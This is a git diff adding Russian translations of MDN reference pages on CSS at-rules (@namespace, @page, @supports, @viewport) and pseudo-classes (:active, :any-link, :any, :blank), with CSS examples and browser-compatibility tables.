Скрипты полностью недоступны в текущем документе.
+
initial-only
+
Скрипты включаются во время начальной загрузки страницы, но не после.
+
enabled
+
Скрипты поддерживаются и активны в текущем документе.
+
+ +

Примеры

+ +

HTML

+ +
<p class="script-none">You do not have scripting available. :-(</p>
+<p class="script-initial-only">Your scripting is only enabled during the initial page load. Weird.</p>
+<p class="script-enabled">You have scripting enabled! :-)</p>
+
+ +

CSS

+ +
p {
+  color: lightgray;
+}
+
+@media (scripting: none) {
+  .script-none {
+     color: red;
+  }
+}
+
+@media (scripting: initial-only) {
+  .script-initial-only {
+    color: red;
+  }
+}
+
+@media (scripting: enabled) {
+  .script-enabled {
+    color: red;
+  }
+}
+ +

Result

+ +

{{EmbedLiveSample("Example")}}

+ +

Спецификация

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS4 Media Queries', '#scripting', 'scripting')}}{{Spec2('CSS4 Media Queries')}}Отложено до Media Queries Level 5.
+ +

Совместимость с браузерами

+ + + +

{{Compat("css.at-rules.media.scripting")}}

diff --git a/files/ru/web/css/@namespace/index.html b/files/ru/web/css/@namespace/index.html new file mode 100644 index 0000000000..bf0f745263 --- /dev/null +++ b/files/ru/web/css/@namespace/index.html @@ -0,0 +1,131 @@ +--- +title: '@namespace' +slug: Web/CSS/@namespace +tags: + - Неймспейсы + - Пространства имён +translation_of: Web/CSS/@namespace +--- +

{{ CSSRef() }}

+ +

Описание

+ +

@namespace - это правила (at-rule) определяющие пространства имён XML, которые будут использованы в таблице стилей. Они применяются чтобы ограничить CSS селекторы только элементами принадлежащими конкретному пространству имён. Namespace'ы полезны, в основном, когда идёт взаимодействие с документами содержащими множество неймспейсов, такими как HTML5 со встроенным SVG, MathML или XML.

+ +
@namespace url(http://www.w3.org/1999/xhtml);
+@namespace svg url(http://www.w3.org/2000/svg);
+
+/* This matches all XHTML <a> elements, as XHTML is the default unprefixed namespace */
+a {}
+
+/* This matches all SVG <a> elements */
+svg|a {}
+
+/* This matches both XHTML and SVG <a> elements */
+*|a {}
+ +

Любое @namespace правило обязано следовать всем @charset и @import правилам, а так же всем описаниям стилей в таблице стилей.

+ +

@namespace может быть использован для определения стандартного пространства имён для конкретной таблице стилей. Когда стандартное пространство имён определено, все селекторы (но не атрибуты селекторов, смотрите заметку ниже) применяются только к элементам в этом неймспейсе.

+ +

@namespace правила можно использовать для определения префиксов имён. Когда селектор имеет префикс, он будет выбирать элементы совпадающие по неймспейсу и именам или атрибутам.

+ +

В HTML5 существуют сторонние элементы которые автоматически ассоциируются с соответствующими пространствами имён. Это значит, что HTML элементы будут действовать так, как если бы они находились в пространстве имён (http://www.w3.org/1999/xhtml), также если они не имеют xmlns аттрибута где-либо в документе, то такие элементы как <svg> и <math> будут ассоциироваться с их стандартными пространствами имён (http://www.w3.org/2000/svg and http://www.w3.org/1998/Math/MathML).

+ +
+

Заметка: В XML, если префикс отличается от атрибута (Например, xlink:href), то аттрибут не будет иметь неймспейса. Другими словами, аттрибуты не могут наследовать пространство имён элемента в котором они находятся.

+
+ +

Синтаксис

+ +
/* Default namespace */
+@namespace url(XML-namespace-URL);
+@namespace "XML-namespace-URL";
+
+/* Prefixed namespace */
+@namespace prefix url(XML-namespace-URL);
+@namespace prefix "XML-namespace-URL";
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Namespaces', '#declaration', '@namespace')}}{{Spec2('CSS3 Namespaces')}}Initial definition
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome(1.0)}}{{ CompatGeckoDesktop(1.0) }}9.08.01.0
Namespace selector (|){{CompatChrome(1.0)}}{{ CompatGeckoDesktop(1.0) }}9.08.03.0
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
diff --git a/files/ru/web/css/@page/index.html b/files/ru/web/css/@page/index.html new file mode 100644 index 0000000000..31ac993dba --- /dev/null +++ b/files/ru/web/css/@page/index.html @@ -0,0 +1,103 @@ +--- +title: '@page' +slug: Web/CSS/@page +tags: + - Верстка + - печать + - страница +translation_of: Web/CSS/@page +--- +
{{CSSRef}}
+ +

Правило CSS @page используется для модификации некоторых свойств CSS при печати документа. Вы не можете изменить все CSS свойства с @page. Вы можете изменить только margin, orphans, widows, и разрывы страницы документа. Попытки изменить любые другие свойства CSS будут игнорироваться.

+ +
@page {
+  margin: 1cm;
+}
+
+@page :first {
+  margin: 2cm;
+}
+ +

Правило @page доступно через интерфейс объектной модели CSS {{domxref("CSSPageRule")}}.

+ +
Примечание: В W3C iобсуждают, как обрабатывать связанные с областью просмотра единицы {{cssxref("<length>")}} такие как, vh, vw, vmin, и vmax. Тем временем не используя их с правилом @page.
+ +

Синтаксис

+ +

Дескрипторы

+ +
+
size
+
Указывает целевой размер и ориентацию полей страницы, содержащихся в блоке. В общем случае, когда одно поле страницы отображается на одном листе страницы, он также определяет размер и ориентацию листа страницы.
+
+ +
+
marks
+
Добавляет обрезку и/или регистрационные отметки в документ.
+
+ +
+
bleed
+
Определяет степень заступа за пределы поля страницы, при котором отображаемая область страницы отрезается.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Пожалуйста, обратитесь к различным плевдоклассам @page для примеров.

+ + + +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS Logical Properties', '#logical-page', ':recto and :verso')}}{{Spec2('CSS Logical Properties')}}Добавлены селекторы страницы :recto и :verso
{{SpecName('CSS3 Paged Media', '#at-page-rule', '@page')}}{{Spec2('CSS3 Paged Media')}}Нет изменений для {{SpecName('CSS2.1')}}, хотя больше правил CSS можно использовать внутри @page.
{{SpecName('CSS2.1', 'page.html#page-selectors', '@page')}}{{Spec2('CSS2.1')}}Первое определение
+ +

Поддержка браузерами

+ +

 

+ + + +

{{Compat("css.at-rules.page")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/@supports/index.html b/files/ru/web/css/@supports/index.html new file mode 100644 index 0000000000..98af6f9d2f --- /dev/null +++ b/files/ru/web/css/@supports/index.html @@ -0,0 +1,192 @@ +--- +title: '@supports' +slug: Web/CSS/@supports +translation_of: Web/CSS/@supports +--- +

{{ CSSRef() }}

+ +

Описание

+ +

The @supports CSS at-rule associates a set of nested statements, in a CSS block, that is delimited by curly braces, with a condition consisting of testing of CSS declarations, that is property-value pairs, combined with arbitrary conjunctions, disjunctions, and negations of them. Such a condition is called a supports condition.

+ +

@supports gives CSS the ability to perform a feature query.

+ +

The @supports at-rule may be used not only at the top level of a CSS, but also inside any CSS conditional-group at-rule and can be accessed via the CSS object model interface {{domxref("CSSSupportsRule")}}.

+ +

Синтаксис

+ +

A supports condition consists of one or several declarations combined by different logical operators. Precedence of operators can be overruled by using parentheses.

+ +

Синтаксис объявления

+ +

The simplest expression is a CSS declaration, that is a CSS property name followed by a value, separated by a colon. The following expression

+ +
( transform-origin: 5% 5% )
+ +

returns true if the {{ cssxref("transform-origin") }} implements a syntax considering 5% 5% as valid.

+ +

A CSS declaration is always surrounded by parentheses.

+ +

Оператор not

+ +

The not operator can precede any expression to create a new expression, resulting in the negation of the original expression. The following expression

+ +
not ( transform-origin: 10em 10em 10em )
+ +

returns true if {{ cssxref("transform-origin") }} doesn't implement a syntax considering 10em 10em 10em as valid.

+ +

Like any operator, the not operator can be applied to a declaration of any complexity. The following examples are all valid expressions:

+ +
not ( not ( transform-origin: 2px ) )
+(display: flexbox) and ( not (display: inline-grid) )
+ +
+

Предупреждение: there is no need to enclose the not operator between two parentheses when at the top level. To combine it with other operators, like and and or, the parentheses are required.

+
+ +

Оператор and

+ +

From two expressions, the and operator creates a new expression consisting in the conjunction of the two original ones; the resulting expression is true only if both of the original expressions also resolve to true. In this example, the complete expression resolves to true if and only if the two expressions are simultaneously true:

+ +
(display: table-cell) and (display: list-item)
+ +

Several conjunctions can be juxtaposed without the need of more parentheses:

+ +
(display: table-cell) and (display: list-item) and (display:run-in)
+ +

is equivalent to:

+ +
(display: table-cell) and ((display: list-item) and (display:run-in))
+ +

Оператор or

+ +

From two expressions, the or operator creates a new expression consisting in the disjunction of the two original ones; the resulting expression is true if one, or both, of the original expressions also resolves to true. In this example, the complete expression resolves to true if at least one of the two expressions is true:

+ +
( transform-style: preserve ) or ( -moz-transform-style: preserve )
+ +

Several disjunctions can be juxtaposed without the need of more parentheses:

+ +
( transform-style: preserve ) or ( -moz-transform-style: preserve ) or
+( -o-transform-style: preserve ) or ( -webkit-transform-style: preserve  )
+ +

is equivalent to:

+ +
( transform-style: preserve-3d ) or (( -moz-transform-style: preserve-3d ) or
+(( -o-transform-style: preserve-3d ) or ( -webkit-transform-style: preserve-3d  )))
+ +
+

Предупреждение: when using both and and or operators, the parentheses must be used in order to define the order in which they apply. If not, the condition is invalid leading to the whole at-rule to be ignored.

+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Примеры

+ +

Тестирование заданного свойства

+ +
@supports (animation-name: test) {
+    … /* specific CSS applied when animations are supported unprefixed */
+    @keyframes { /* @supports being a CSS conditional group at-rule, it can includes other relevant at-rules */
+      …
+    }
+}
+
+ +

Тестирование заданного свойства или его версии с префиксом

+ +
@supports ( (perspective: 10px) or (-moz-perspective: 10px) or (-webkit-perspective: 10px) or
+            (-ms-perspective: 10px) or (-o-perspective: 10px) ) {
+    … /* specific CSS applied when 3D transforms, eventually prefixed, are supported */
+}
+
+ +

Тестирование неподдерживаемого или специфического свойства

+ +
@supports not ((text-align-last:justify) or (-moz-text-align-last:justify) ){
+    … /* specific CSS applied to simulate text-align-last:justify */
+}
+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{ SpecName('CSS3 Conditional', '#at-supports', '@supports') }}{{ Spec2('CSS3 Conditional') }}Первоначальное определение.
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatChrome(28.0)}}{{ CompatVersionUnknown }}{{ CompatGeckoDesktop("22") }} [1]{{ CompatNo() }}12.19
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidAndroid WebviewFirefox Mobile (Gecko)IE MobileOpera MobileSafari MobileChrome for Android
Базовая поддержка{{ CompatNo() }}{{CompatUnknown}}{{ CompatGeckoMobile("22") }} [1]{{ CompatNo() }}12.19{{CompatChrome(28.0)}}
+
+ +

[1] Gecko 17 to Gecko 21 supported this feature only if the user enables it by setting the config value layout.css.supports-rule.enabled to true.

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/@viewport/index.html b/files/ru/web/css/@viewport/index.html new file mode 100644 index 0000000000..68a306a547 --- /dev/null +++ b/files/ru/web/css/@viewport/index.html @@ -0,0 +1,162 @@ +--- +title: '@viewport' +slug: Web/CSS/@viewport +tags: + - Adaptation + - At-rule + - CSS + - Device + - NeedsContent + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/CSS/@viewport +--- +

{{CSSRef}}

+ +

Кратко

+ +

@viewport CSS at-rule cсодержит набор вложенных дескрипторов в блоке CSS, который разделен фигурными скобками. Эти дескрипторы управляют настройками видового экрана, в первую очередь на мобильных устройствах.

+ +

Синтаксис

+ +

Коэффициент масштабирования, равный 1,0 или 100%, соответствует отсутствию масштабирования. Увеличьте масштаб больших значений. Меньшие значения уменьшаются

+ +

Дескриптор

+ +

Браузеры должны игнорировать непризнанные дескрипторы.

+ +
+
min-width
+
Используется при определении ширины видового экрана при первом отображении документа.
+
max-width
+
Используется при определении ширины видового экрана при первом отображении документа.
+
width
+
Сокращенный дескриптор для установки как минимальной ширины(min-width), так и максимальной ширины(max-width).
+
min-height
+
Используется при определении высоты видового экрана при первом отображении документа.
+
max-height
+
Используется при определении высоты видового экрана при первом отображении документа.
+
height
+
Сокращенный дескриптор для установки как минимальной высоты(min-height), так и максимальной высоты(max-height).
+
zoom
+
Устанавливает начальный коэффициент масштабирования.
+
min-zoom
+
Устанавливает минимальный коэффициент масштабирования.
+
max-zoom
+
Устанавливает максимальный коэффициент масштабирования.
+
user-zoom
+
Управляет тем, должен ли пользователь иметь возможность изменять коэффициент масштабирования.
+
orientation
+
Управляет ориентацией документа.
+
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Пример:

+ +
@viewport {
+  min-width: 640px;
+  max-width: 800px;
+}
+@viewport {
+  zoom: 0.75;
+  min-zoom: 0.5;
+  max-zoom: 0.9;
+}
+@viewport {
+  orientation: landscape;
+}
+ +

Спецификация:

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('CSS3 Device', '#the-atviewport-rule', '@viewport')}}{{Spec2('CSS3 Device')}}Initial definition
+ +

Совместимость с браузерами:

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support29 (behind a flag) [4]{{CompatNo()}} [2]10 {{property_prefix("-ms")}}11.10
+ Removed in 15
+ Reintroduced behind a flag in 16		{{CompatNo}} [3]
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support4.429{{CompatNo}} [2]10{{property_prefix("-ms")}}[1]11.10
+ Removed in 15
+ Reintroduced behind a flag in 16		{{CompatNo}} [3]
+
+ +

[1] существует ошибка в IE Mobile 10 и на более старых версиях Windows Phone 8, гдеdevice-width, при использовании внутри @-ms-viewport, оценивает ширину экрана в физических пикселях, а не в нормализованных CSS-пикселях, что неверно в соответствии со спецификацией. Однако, при использовании вviewport {{HTMLElement("meta")}} тэг, device-width оценивает правильно. По данным Microsoft, эта ошибка была исправлена в Windows Phone 8 Update 3 (a.k.a. GDR3), хотя есть некоторые сообщения о том, что Lumia Black Обновление GDR3 не исправило ошибку (по крайней мере, на Lumia 920). Для получения более подробной информации и обходного пути, see Tim Kadlec's blog post "Windows Phone 8 and Device-Width".

+ +

[2]: See {{bug(747754, 'summary')}}

+ +

[3]: See {{webkitbug(95959)}}

+ +

[4]: See Chromium issue #235457: Enable @viewport on all platforms

+ +

Смотреть также

+ + diff --git a/files/ru/web/css/@viewport/user-zoom/index.html b/files/ru/web/css/@viewport/user-zoom/index.html new file mode 100644 index 0000000000..5da0d1ec96 --- /dev/null +++ b/files/ru/web/css/@viewport/user-zoom/index.html @@ -0,0 +1,105 @@ +--- +title: user-zoom +slug: Web/CSS/@viewport/user-zoom +translation_of: Web/CSS/@viewport +--- +
{{ CSSRef }}
+ +

Введение

+ +

The user-zoom CSS descriptor controls whether or not the user should be able to change the zoom factor of a document defined by {{cssxref("@viewport")}}.

+ +

{{cssinfo}}

+ +

Синтаксис

+ +
/* Keyword values */
+user-zoom: zoom;
+user-zoom: fixed;
+
+ +

Значения

+ +
+
zoom
+
The user can zoom in or out.
+
fixed
+
The user cannot zoom in or out.
+
+ +

Формальный синтаксис

+ +
{{csssyntax}}
+ +

Спецфикации

+ + + + + + + + + + + + + + + + +
СпецфикацииСтатусКомментарий
{{SpecName('CSS3 Device', '#the-lsquouser-zoomrsquo-descriptor', '"user-zoom" descriptor')}}{{Spec2('CSS3 Device')}}Initial definition
+ +

Совместимость с браузерами

+ +

{{ CompatibilityTable() }}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}{{ CompatUnknown() }}
+
+ +

 

diff --git a/files/ru/web/css/_colon_-moz-focusring/index.html b/files/ru/web/css/_colon_-moz-focusring/index.html new file mode 100644 index 0000000000..02c26e1b68 --- /dev/null +++ b/files/ru/web/css/_colon_-moz-focusring/index.html @@ -0,0 +1,94 @@ +--- +title: ':-moz-focusring' +slug: 'Web/CSS/:-moz-focusring' +tags: + - Фокус + - псевдокласс +translation_of: 'Web/CSS/:-moz-focusring' +--- +
{{Non-standard_header}}{{CSSRef}}
+ +

Описание

+ +

Псевдокласс :-moz-focusring является расширением браузера Mozilla, которое подобно псевдоклассу {{cssxref (":focus")}}, но взаимодействует только с элементом при наличии у него фокуса. При этом рамка фокуса или другой индикатор располагается вокруг элемента.

+ +

Если :-moz-focusring распознается конкретной платформой, то и :focus тоже. Однако обратное не всегда верно и зависит от того, активированы ли пользовательские настройки для отрисовки фокуса и как именно действует фокус по отношению к этому элементу. Независимо от того, имеют ли место пользовательские настройки отрисовки фокуса, многое также зависит от настроек операционной системы и других факторов. В связи с этим точное поведение этого псевдокласса может варьироваться от платформы к платформе.

+ +
+

Примечание. Разработчики склонны использовать псевдокласс      :-moz-focusring для различия между состояниями фокуса, когда пользователь активирует фокусировку с помощью мыши и клавиатуры. Это также потенциально полезно при создании пользовательского элемента с последующим намерением изменить его стиль на основе его поведения.

+
+ +

Синтаксис

+ +
:-moz-focusring
+ +

Пример

+ +

Для определения внешнего вида элемента во время фокусировки на нем можно использовать этот псевдоселектор следующим образом:

+ +
mybutton:-moz-focusring {
+  outline: 2px dotted;
+}
+
+ +

Спецификации

+ +

Этот псевдокласс пока еще не определен ни в одной спецификации, хотя и прошел этап обсуждения в рабочей группе. По его итогам было решено внести его в группу селекторов 4 или 5.

+ +

Совметимость с браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
ОсобенностьChromeFirefox (Gecko)Internet ExplorerOperaSafari
Базовая поддержка{{CompatUnknown}}{{CompatGeckoDesktop(2)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
ОсобенностьAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Базовая поддержка{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_-moz-only-whitespace/index.html b/files/ru/web/css/_colon_-moz-only-whitespace/index.html new file mode 100644 index 0000000000..af4a49d63a --- /dev/null +++ b/files/ru/web/css/_colon_-moz-only-whitespace/index.html @@ -0,0 +1,90 @@ +--- +title: ':blank' +slug: 'Web/CSS/:-moz-only-whitespace' +tags: + - ':blank' + - CSS + - Псевдо-класс + - Экспериментальное + - селектор +translation_of: 'Web/CSS/:-moz-only-whitespace' +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

CSS псевдо класс  :blank находит элементы, у которых либо вообще нет дочерних узлов, либо только пустые текстовые узлы, либо только текстовые узлы, содержащие только пробельные символы.

+ +

Syntax

+ +
{{CSSSyntax}}
+ +

Примеры

+ +

HTML

+ +
<div> </div>
+
+ +

CSS

+ + + +
div {
+  border: 4px solid red;
+}
+
+:blank {
+  border-color: lime;
+}
+ +

Результат

+ +

{{EmbedLiveSample("Example", "100%", "50")}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName("CSS4 Selectors", "#blank-pseudo", ":blank")}}{{Spec2("CSS4 Selectors")}}Определен впервые
+ +

Поддержка браузерами

+ + + +

{{Compat("css.selectors.blank")}}

+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_active/index.html b/files/ru/web/css/_colon_active/index.html new file mode 100644 index 0000000000..f5915b631f --- /dev/null +++ b/files/ru/web/css/_colon_active/index.html @@ -0,0 +1,120 @@ +--- +title: ':active' +slug: 'Web/CSS/:active' +tags: + - Псевдоклассы +translation_of: 'Web/CSS/:active' +--- +
{{CSSRef}}
+ +

Псевдокласс :active соответствует элементу в момент, когда он активируется пользователем. Он позволяет странице среагировать, когда элемент активируется. Взаимодействие элемента с мышью - это, как правило, время между нажатием и отпусканием пользователем кнопки мыши.

+ +
/*  Любой элемент <a>, который будет активирован */
+a:active {
+  color: red;
+}
+ +

Также псевдокласс :active срабатывает при использовании клавиши TAB на клавиатуре. Обычно это используется для HTML-элементов {{HTMLElement("a")}} и {{HTMLElement("button")}}, но может применяться и к другим элементам.

+ +

Это свойство может быть переопределено любыми другими псевдоклассами, относящимся к ссылке, такими как {{cssxref(":link")}}, {{cssxref(":hover")}} и {{cssxref(":visited")}}, описанными в последующих правилах. Чтобы стилизировать нужные ссылки, вам нужно ставить правило :active после всех других правил, относящихся к ссылке, как определено правилом LVHA-порядком: :link — :visited — :hover — :active.

+ +
Примечание: В системах с много-кнопочными мышами, CSS 3 указывает, что псевдокласс :active должен применяться только к первой кнопке; для праворуких мышей - это обычно самая левая кнопка.
+ +

Синтаксис

+ +
{{csssyntax}}
+ +

Пример

+ +

Активные ссылки

+ +

HTML

+ +
<p>Этот абзац содержит ссылку:
+<a href="#">Эта ссылка будет окрашена в красный, когда вы нажмёте на неё.</a>
+У абзаца фон станет серым при нажатии на него или на ссылку. </p>
+ +

CSS

+ +
a:link { color: blue; }          /* Непосещённые ссылки */
+a:visited { color: purple; }     /* Посещённые ссылки */
+a:hover { background: yellow; }  /* Ссылки при наведении */
+a:active { color: red; }         /* Активные ссылки */
+
+p:active { background: #eee; }   /* Активные абзацы */
+ +

Результат

+ +

{{EmbedLiveSample('Активные_ссылки')}}

+ +

Активные элементы формы

+ +

HTML

+ +
<form>
+  <label for="my-button">Моя кнопка: </label>
+  <button id="my-button" type="button">Попробуй Нажать Меня или Мою подсказку!</button>
+</form>
+ +

CSS

+ +
form :active {
+  color: red;
+}
+
+form button {
+  background: white;
+}
+ +

Result

+ +

{{EmbedLiveSample('Активные_элементы_формы')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName('HTML WHATWG', 'scripting.html#selector-active', ':active')}}{{Spec2('HTML WHATWG')}}
{{SpecName('CSS4 Selectors', '#active-pseudo', ':active')}}{{Spec2('CSS4 Selectors')}}Без изменений
{{SpecName('CSS3 Selectors', '#useraction-pseudos', ':active')}}{{Spec2('CSS3 Selectors')}}Без изменений
{{SpecName('CSS2.1', 'selector.html#dynamic-pseudo-classes', ':active')}}{{Spec2('CSS2.1')}}Без изменений
{{SpecName('CSS1', '#anchor-pseudo-classes', ':active')}}{{Spec2('CSS1')}}Первоначальное определение
+ +

Совместимость с браузерами

+ +
{{Compat("css.selectors.active")}}
+ +

Смотрите также

+ + diff --git a/files/ru/web/css/_colon_any-link/index.html b/files/ru/web/css/_colon_any-link/index.html new file mode 100644 index 0000000000..f54ff3c46b --- /dev/null +++ b/files/ru/web/css/_colon_any-link/index.html @@ -0,0 +1,93 @@ +--- +title: ':any-link' +slug: 'Web/CSS/:any-link' +tags: + - ':any-link' + - CSS + - Web + - Верстка + - Гиперссылки + - Справка + - Ссылки + - Экспериментальное + - псевдокласс + - селектор +translation_of: 'Web/CSS/:any-link' +--- +
{{CSSRef}} {{SeeCompatTable}}
+ +

Селектор псевдокласса CSS :any-link представляет собой элемент, который действует как исходный якорь гиперссылки, независимо от того, была ли она посещена. Другими словами, он соответствует всем элементам {{HTMLElement("a")}}, {{HTMLElement("area")}}, или {{HTMLElement("link")}}, которые имеют атрибут href. Таким образом, он соответствует всем элементам, которые используют {{cssxref(":link")}} или {{cssxref(":visited")}}.

+ +
/* Выбирает любой элемент, который будет соответствовать:link или :visited */
+:any-link {
+  color: green;
+}
+ +

Синтаксис

+ +
{{csssyntax}}
+
+ +

Пример

+ +

HTML

+ +
<a href="https://example.com">External link</a><br>
+<a href="#">Internal target link</a><br>
+<a>Placeholder link (won't get styled)</a>
+ +

CSS

+ +
a:any-link {
+  border: 1px solid blue;
+  color: orange;
+}
+
+/* WebKit browsers */
+a:-webkit-any-link {
+  border: 1px solid blue;
+  color: orange;
+}
+
+ +

Результат

+ +

{{EmbedLiveSample('Пример')}}

+ +

Спецификации

+ + + + + + + + + + + + + + + + +
СпецификацияСтатусКомментарий
{{SpecName("CSS4 Selectors", "#the-any-link-pseudo", ":any-link")}}{{Spec2('CSS4 Selectors')}}Первое определение.
+ +

Поддержка браузерами

+ + + +

{{Compat("css.selectors.any-link")}}

+ +

См. также

+ + diff --git a/files/ru/web/css/_colon_any/index.html b/files/ru/web/css/_colon_any/index.html new file mode 100644 index 0000000000..875677e274 --- /dev/null +++ b/files/ru/web/css/_colon_any/index.html @@ -0,0 +1,189 @@ +--- +title: ':any' +slug: 'Web/CSS/:any' +tags: + - CSS + - Experimental + - Псевдоклассы + - Руководство + - Экспериментальное +translation_of: 'Web/CSS/:is' +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

Описание

+ +

Псевдокласс :any() дает возможность быстрого конструирования наборов похожих селекторов путем составления групп, в которых каждый из входящих элементов будет комбинироваться с элементами из других групп. Это альтернатива для прописывания комбинаций селекторов для одного элемента, который может находится в разных родителях.

+ +
Замечание: Этот псевдо-класс все еще находится в процессе стандартизации в CSS селекторах уровня 4 под именем :matches(). Вполне вероятно, что синтаксис и имя :-vendor-any() будут изменены в ближайшем будущем, чтобы соответствовать спецификации.
+ +

Синтаксис

+ +
:-moz-any( selector[, selector]* ) :-webkit-any( selector[, selector]* )
+ +

Параметры

+ +
+
selector
+
Селектор. Это может быть просто селектор или несколько селекторов, состоящих из CSS 3 простых селекторов и может включать комбинацию потомков.
+
+ +
Замечание: Селекторы не могут содержать псевдо-элементы, допускается только комбинирование потомков.
+ +

Примеры

+ +

Например, следующий CSS:

+ +
/* на глубине 3 (или больше) неупорядоченные списки используют square */
+ol ol ul,     ol ul ul,     ol menu ul,     ol dir ul,
+ol ol menu,   ol ul menu,   ol menu menu,   ol dir menu,
+ol ol dir,    ol ul dir,    ol menu dir,    ol dir dir,
+ul ol ul,     ul ul ul,     ul menu ul,     ul dir ul,
+ul ol menu,   ul ul menu,   ul menu menu,   ul dir menu,
+ul ol dir,    ul ul dir,    ul menu dir,    ul dir dir,
+menu ol ul,   menu ul ul,   menu menu ul,   menu dir ul,
+menu ol menu, menu ul menu, menu menu menu, menu dir menu,
+menu ol dir,  menu ul dir,  menu menu dir,  menu dir dir,
+dir ol ul,    dir ul ul,    dir menu ul,    dir dir ul,
+dir ol menu,  dir ul menu,  dir menu menu,  dir dir menu,
+dir ol dir,   dir ul dir,   dir menu dir,   dir dir dir {
+  list-style-type: square;
+}
+
+ +

Может быть записано, как:

+ +
/* на глубине 3 (или больше) неупорядоченные списки используют square */
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) ul,
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) menu,
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) dir {
+  list-style-type: square;
+}
+ +

Однако, не нужно использовать это так: (Смотрите раздел о производительности ниже.)

+ +
:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) :-moz-any(ul, menu, dir) {
+  list-style-type: square;
+}
+ +

Примечания

+ +

Особенно полезен при работе с разделами и заголовками в HTML5 . Теги {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}}, и {{HTMLElement("nav")}} могут быть вложенными, без :any() стилизация их соответствия друг другу может быть сложной.

+ +

Например, без :any(), стилизация всех элементов {{HTMLElement("h1")}} на разной глубине будет очень сложна:

+ +
/* Уровень 0 */
+h1 {
+  font-size: 30px;
+}
+/* Уровень 1 */
+section h1, article h1, aside h1, nav h1 {
+  font-size: 25px;
+}
+/* Уровень 2 */
+section section h1, section article h1, section aside h1, section nav h1,
+article section h1, article article h1, article aside h1, article nav h1,
+aside section h1, aside article h1, aside aside h1, aside nav h1,
+nav section h1, nav article h1, nav aside h1, nav nav h1, {
+  font-size: 20px;
+}
+/* Уровень 3 */
+/* ... даже не думайте о нём*/
+
+ +

При использовании :-any(), это становится намного проще:

+ +
/* Уровень 0 */
+h1 {
+  font-size: 30px;
+}
+/* Уровень 1 */
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 25px;
+}
+/* Уровень 2 */
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 20px;
+}
+/* Уровень 3 */
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 15px;
+}
+ +

Проблемы с производительностью и особенности

+ +

{{ bug("561154") }} в Gecko, где специфика :-moz-any() не корректна. Текущая реализация (как в Firefox 12) ставит :-moz-any() в категорию универсальных правил, что означает, что использование его в качестве селектора справа будет медленнее, чем использование селекторов по ID, классу, или тегу.

+ +

Например:

+ +
.a > :-moz-any(.b, .c)
+
+ +

медленнее, чем:

+ +
.a > .b, .a > .c
+
+ +

а следующее быстрее:

+ +
:-moz-any(.a, .d) > .b, :-moz-any(.a, .d) > .c
+
+ +

Поддержка браузерами

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
